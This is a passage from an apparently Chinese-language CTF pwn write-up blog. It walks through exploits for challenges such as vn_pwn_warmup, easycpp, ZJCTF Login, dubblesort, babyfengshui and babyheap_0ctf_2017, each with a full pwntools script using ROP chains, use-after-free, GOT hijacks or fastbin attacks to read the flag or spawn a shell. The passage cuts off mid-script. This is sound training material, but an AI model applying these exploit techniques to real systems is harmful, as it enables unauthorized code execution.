class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#得到libc地址后直接在libc的bss段上进行写，实现orw</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;node4.buuoj.cn&#x27;</span>,<span class="number">29676</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./vn_pwn_warmup&#x27;)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./vn_pwn_warmup&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.23.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;gift: 0x&#x27;</span>)</span><br><span class="line">puts = <span class="built_in">int</span>(io.recv(<span class="number">12</span>), <span class="number">16</span>)</span><br><span class="line">log.success(<span class="string">&#x27;puts ===&gt; &#x27;</span>+<span class="built_in">hex</span>(puts))</span><br><span class="line"></span><br><span class="line">libcbase = puts - libc.symbols[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">log.success(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(puts))</span><br><span class="line"></span><br><span class="line">pop_rdi = libcbase + <span class="number">0x21102</span></span><br><span class="line">pop_rsi = libcbase + <span class="number">0x202e8</span></span><br><span class="line">pop_rdx = libcbase + <span class="number">0x1b92</span></span><br><span class="line">open_ = libcbase + libc.symbols[<span class="string">&#x27;open&#x27;</span>]</span><br><span class="line">read_ = libcbase + libc.symbols[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line">libc_buf = libcbase + <span class="number">0x3c5000</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#attach(io)</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Input something: &#x27;</span>)</span><br><span class="line">payload1 = p64(<span class="number">0</span>) + p64(pop_rsi) + p64(libc_buf) + p64(pop_rdx) + p64(<span class="number">0x50</span>) + p64(read_)  \</span><br><span class="line">        + p64(pop_rdi) + p64(libc_buf) + p64(pop_rsi) + p64(<span class="number">0</span>) + p64(pop_rdx) + p64(<span class="number">0</span>) + p64(open_) \</span><br><span class="line">        + p64(pop_rdi) + p64(<span class="number">3</span>) + p64(pop_rsi) + p64(libc_buf) + p64(pop_rdx) + p64(<span class="number">0x30</span>) + p64(read_) \</span><br><span class="line">        + p64(pop_rdi) + p64(libc_buf) + p64(puts)</span><br><span class="line">io.send(payload1)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;name?&#x27;</span>)</span><br><span class="line">payload2 = <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x78</span> + p64(pop_rdi)</span><br><span class="line">io.send(payload2)</span><br><span class="line"></span><br><span class="line">io.send(<span class="string">b&#x27;flag&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="0x03-minilCTF2020-easycpp-cpp"><a href="#0x03-minilCTF2020-easycpp-cpp" class="headerlink" title="0x03.minilCTF2020 - easycpp( cpp )"></a>0x03.minilCTF2020 - easycpp( cpp )</h3><p><code>checksec</code>看到只开了NX，partial relro，32位</p><p>这c++光看着就没有想法了，没系统学，就简单看了看</p><p>主函数如下</p><div class="code-container" data-rel="C++"><figure class="iseeu highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  B *v3; <span class="comment">// ebx</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">setvbuf</span>(stdout, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  v3 = (B *)<span class="keyword">operator</span> <span class="built_in">new</span>(<span class="number">4u</span>);</span><br><span class="line">  v3-&gt;_vptr_A = <span class="number">0</span>;</span><br><span class="line">  B::<span class="built_in">B</span>(v3);</span><br><span class="line">  <span class="function"><span class="keyword">operator</span> <span class="title">delete</span><span class="params">(v3)</span></span>;</span><br><span class="line">  <span class="built_in">fgets</span>(buf, <span class="number">1024</span>, stdin);</span><br><span class="line">  <span class="built_in">strdup</span>(buf);</span><br><span class="line">  (*v3-&gt;_vptr_A)(v3);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>程序最后的函数调用格外显眼</p><p>strdup是会拷贝字符串到分配的内存，而v3对应内存刚好释放，直接写地址就行，程序会直接执行v3所存的地址指向的地址上的代码</p><p>gdb调试很容易明白此时的调用逻辑</p><p>exp如下：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python3</span><br><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">#程序会调用二级函数指针，直接动调解决</span><br><span class="line"></span><br><span class="line">io = process(<span class="string">&#x27;./easycpp&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">#attach(io)</span></span><br><span class="line"><span class="meta">#pause()</span></span><br><span class="line">payload = p32(<span class="number">0x804a0c4</span>) + p32(<span class="number">0x80487bb</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><h2 id="task04"><a href="#task04" class="headerlink" title="task04"></a>task04</h2><h3 id="0x01-ZJCTF-2019-Login-ret2text"><a href="#0x01-ZJCTF-2019-Login-ret2text" class="headerlink" title="0x01.[ZJCTF 2019]Login ( ret2text )"></a>0x01.[ZJCTF 2019]Login ( ret2text )</h3><p><code>checksec</code>看到NX，canary，partial relro</p><p>又是一个c++题，程序会有两次输入，一次是username，一次是password，在最后的<code>password_checker</code>函数里面可以看到函数指针</p><p><code>password_checker</code>函数</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 __fastcall <span class="title function_">password_checker</span><span class="params">(<span class="type">void</span> (*)(<span class="type">void</span>))</span>::&#123;lambda(<span class="type">char</span> <span class="type">const</span>*,<span class="type">char</span> <span class="type">const</span>*)#<span class="number">1</span>&#125;::operator()(</span><br><span class="line">        <span class="type">void</span> (***a1)(<span class="type">void</span>),</span><br><span class="line">        <span class="type">const</span> <span class="type">char</span> *a2,</span><br><span class="line">        <span class="type">const</span> <span class="type">char</span> *a3)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">88</span>]; <span class="comment">// [rsp+20h] [rbp-60h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v5; <span class="comment">// [rsp+78h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">strcmp</span>(a2, a3) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">snprintf</span>(s, <span class="number">0x50u</span>LL, <span class="string">&quot;Password accepted: %s\n&quot;</span>, s);</span><br><span class="line">    <span class="built_in">puts</span>(s);</span><br><span class="line">    (**a1)();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Nope!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v5;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>我们首先要通过密码比较，如果不能理解这个函数指针，可以gdb调试，输入一些地址试一试。在输入的过程中，注意要8字节对齐。</p><p>exp为：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#io = remote(&#x27;node4.buuoj.cn&#x27;,29115)</span></span><br><span class="line">io = process(<span class="string">&#x27;./login&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#attach(io)</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;username: &#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;A&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;password: &#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;2jctf_pa5sw0rd\x00A&#x27;</span>+p64(<span class="number">0x400e88</span>)*<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="0x02-pwnable-tw-dubblesort-ret2libc"><a href="#0x02-pwnable-tw-dubblesort-ret2libc" class="headerlink" title="0x02.pwnable.tw - dubblesort( ret2libc )"></a>0x02.pwnable.tw - dubblesort( ret2libc )</h3><p>先<code>checksec</code>，保护全开</p><p>程序主要逻辑为</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">__printf_chk(<span class="number">1</span>, <span class="string">&quot;What your name :&quot;</span>);</span><br><span class="line">read(<span class="number">0</span>, buf, <span class="number">0x40u</span>);</span><br><span class="line">__printf_chk(<span class="number">1</span>, <span class="string">&quot;Hello %s,How many numbers do you what to sort :&quot;</span>);</span><br><span class="line">__isoc99_scanf(<span class="string">&quot;%u&quot;</span>, &amp;v8);</span><br><span class="line">v3 = v8;</span><br><span class="line"><span class="keyword">if</span> ( v8 )</span><br><span class="line">&#123;</span><br><span class="line">  v4 = v9;</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt; v8; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    __printf_chk(<span class="number">1</span>, <span class="string">&quot;Enter the %d number : &quot;</span>);</span><br><span class="line">    fflush(<span class="built_in">stdout</span>);</span><br><span class="line">    __isoc99_scanf(<span class="string">&quot;%u&quot;</span>, v4);</span><br><span class="line">    v3 = v8;</span><br><span class="line">    v4 += <span class="number">4</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">sub_931(v9, v3);</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;Result :&quot;</span>);</span><br><span class="line"><span class="keyword">if</span> ( v8 )</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">for</span> ( j = <span class="number">0</span>; j &lt; v8; ++j )</span><br><span class="line">    __printf_chk(<span class="number">1</span>, <span class="string">&quot;%u &quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>我们会先输入name，这个过程可以泄露出栈中数据，栈中会有和libcbase相关的数据，然后输入要排序的数的个数，<code>sub_931</code>是一个排序的函数，v4每次都要加4，但没有增加的边界，因此会产生溢出，我们可以绕过canary来覆盖返回地址，实现ret2libc</p><p>exp为：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#先利用栈中已有数据泄露libc，然后利用scanf多次读入数据修改返回地址</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#io = remote(&#x27;node4.buuoj.cn&#x27;,25178)</span></span><br><span class="line">io = process(<span class="string">&#x27;./dubblesort&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./dubblesort&#x27;</span>)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line"><span class="comment">#attach(io)</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;name :&#x27;</span>)</span><br><span class="line">io.send(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x1c</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x1c</span>)</span><br><span class="line">libcbase = u32(io.recv(<span class="number">4</span>))-<span class="number">0x184be</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line"></span><br><span class="line">sys = libcbase + libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = libcbase + <span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh\x00&#x27;</span>))</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;sort :&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;35&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">24</span>):</span><br><span class="line">    io.sendline(<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;+&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>):</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(sys).encode())</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>):</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(bin_sh).encode())</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="0x03-babyfengshui-33c3-2016-got-hijack"><a href="#0x03-babyfengshui-33c3-2016-got-hijack" class="headerlink" title="0x03.babyfengshui_33c3_2016( got hijack )"></a>0x03.babyfengshui_33c3_2016( got hijack )</h3><p><code>checksec</code>看到开了NX，canary，partial relro</p><p>一个目录题，有增加、删除、打印、修改功能。</p><p>在<code>add</code>功能里面可以看到对<code>name</code>的写入长度明显过长，产生溢出</p><p>在调试分析之后我们发现程序在<code>add</code>时会产生两个堆块，第一个存储<code>description</code>，第二个存储指向<code>description</code>的指针和<code>name</code>，因此我们要试图利用溢出来控制这个指针，控制后我们就可以泄露<code>libc</code>地址并且修改<code>got</code>表。(<code>one_gadget</code>似乎都无法满足条件)</p><p>exp如下：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#先根据description的大小规则分配释放构造得到指针的控制权，然后修改got表，获得shell</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#io = remote(&#x27;node4.buuoj.cn&#x27;,26390)</span></span><br><span class="line">io = process(<span class="string">&#x27;./babyfengshui_33c3_2016&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.23.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add_</span>(<span class="params">descri_size, name, text_size, text</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Action: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="string">b&#x27;0&#x27;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;description: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(descri_size).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;name: &#x27;</span>)</span><br><span class="line">    io.sendline(name)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;text length: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(text_size).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;text: &#x27;</span>)</span><br><span class="line">    io.sendline(text)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete_</span>(<span class="params">index</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Action: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">display_</span>(<span class="params">index</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Action: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">update_</span>(<span class="params">index, text_size, text</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Action: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="string">b&#x27;3&#x27;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;text length: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(text_size).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;text: &#x27;</span>)</span><br><span class="line">    io.sendline(text)</span><br><span class="line"></span><br><span class="line">free_got = <span class="number">0x804b010</span></span><br><span class="line"></span><br><span class="line">add_(<span class="number">0x20</span>, <span class="string">b&#x27;AAAA&#x27;</span>, <span class="number">0x20</span>, <span class="string">b&#x27;BBBB&#x27;</span>)</span><br><span class="line">add_(<span class="number">0x20</span>, <span class="string">b&#x27;AAAA&#x27;</span>, <span class="number">0x20</span>, <span class="string">b&#x27;BBBB&#x27;</span>)</span><br><span class="line">delete_(<span class="number">0</span>)</span><br><span class="line">add_(<span class="number">0x80</span>, <span class="string">b&#x27;AAAA&#x27;</span>, <span class="number">0xd0</span>, <span class="string">b&#x27;/bin/sh\x00&#x27;</span>+<span class="string">b&#x27;A&#x27;</span>*(<span class="number">0x80</span>+<span class="number">0x28</span>+<span class="number">8</span>-<span class="number">8</span>)+p32(free_got))    <span class="comment">#index_2可以写入到index_1的name指向description的指针</span></span><br><span class="line">display_(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;description: &#x27;</span>)</span><br><span class="line">free = u32(io.recv(<span class="number">4</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;free ===&gt; &#x27;</span>+<span class="built_in">hex</span>(free))</span><br><span class="line"></span><br><span class="line">libcbase = free - libc.symbols[<span class="string">&#x27;free&#x27;</span>]</span><br><span class="line">system = libcbase + libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"></span><br><span class="line">update_(<span class="number">1</span>, <span class="number">4</span>, p32(system))</span><br><span class="line">delete_(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h2 id="task05"><a href="#task05" class="headerlink" title="task05"></a>task05</h2><h3 id="0x01-babyheap-0ctf-2017-heap-overflow-fastbin-attack"><a href="#0x01-babyheap-0ctf-2017-heap-overflow-fastbin-attack" class="headerlink" title="0x01.babyheap_0ctf_2017( heap_overflow + fastbin attack )"></a>0x01.babyheap_0ctf_2017( heap_overflow + fastbin attack )</h3><p><code>checksec</code>看到保护全开</p><p>程序在<code>fill</code>时未检查填充大小，会产生溢出</p><p>可以先将堆块置于<code>unsorted bin</code>里面，由于从<code>unsorted bin</code>里面取出堆块时，不会检查大小，因此可以通过修改大小来造成堆块重叠，从而实现对<code>libc</code>地址的泄露，并且可以写入非法地址，并获取到对应地址进行任意写</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#先利用unsorted bin泄露libc，然后利用fastbin attack伪造fd实现对malloc_hook的写入</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#io = remote(&#x27;node4.buuoj.cn&#x27;,28445)</span></span><br><span class="line">io = process(<span class="string">&#x27;./babyheap_0ctf_2017&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./babyheap_0ctf_2017&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.23.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu_</span>(<span class="params">num</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Command: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(num).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">alloc_</span>(<span class="params">size</span>):</span><br><span class="line">    menu_(<span class="number">1</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Size: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(size).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fill_</span>(<span class="params">index, size, content</span>):</span><br><span class="line">    menu_(<span class="number">2</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Size: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(size).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Content: &#x27;</span>)</span><br><span class="line">    io.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">free_</span>(<span class="params">index</span>):</span><br><span class="line">    menu_(<span class="number">3</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">dump_</span>(<span class="params">index</span>):</span><br><span class="line">    menu_(<span class="number">4</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line">alloc_(<span class="number">0xa0</span>)  <span class="comment">#index0</span></span><br><span class="line">alloc_(<span class="number">0xa0</span>)  <span class="comment">#index1</span></span><br><span class="line">alloc_(<span class="number">0x10</span>)  <span class="comment">#index2, in order to prevent index1 to mix with top chunk.</span></span><br><span class="line"></span><br><span class="line">free_(<span class="number">0</span>)</span><br><span class="line">alloc_(<span class="number">0x10</span>)  <span class="comment">#index0</span></span><br><span class="line">fill_(<span class="number">0</span>, <span class="number">0x20</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10</span>+p64(<span class="number">0</span>)+p64(<span class="number">0x101</span>))</span><br><span class="line">alloc_(<span class="number">0xa0</span>)  <span class="comment">#index3</span></span><br><span class="line">fill_(<span class="number">3</span>, <span class="number">0x90</span>, <span 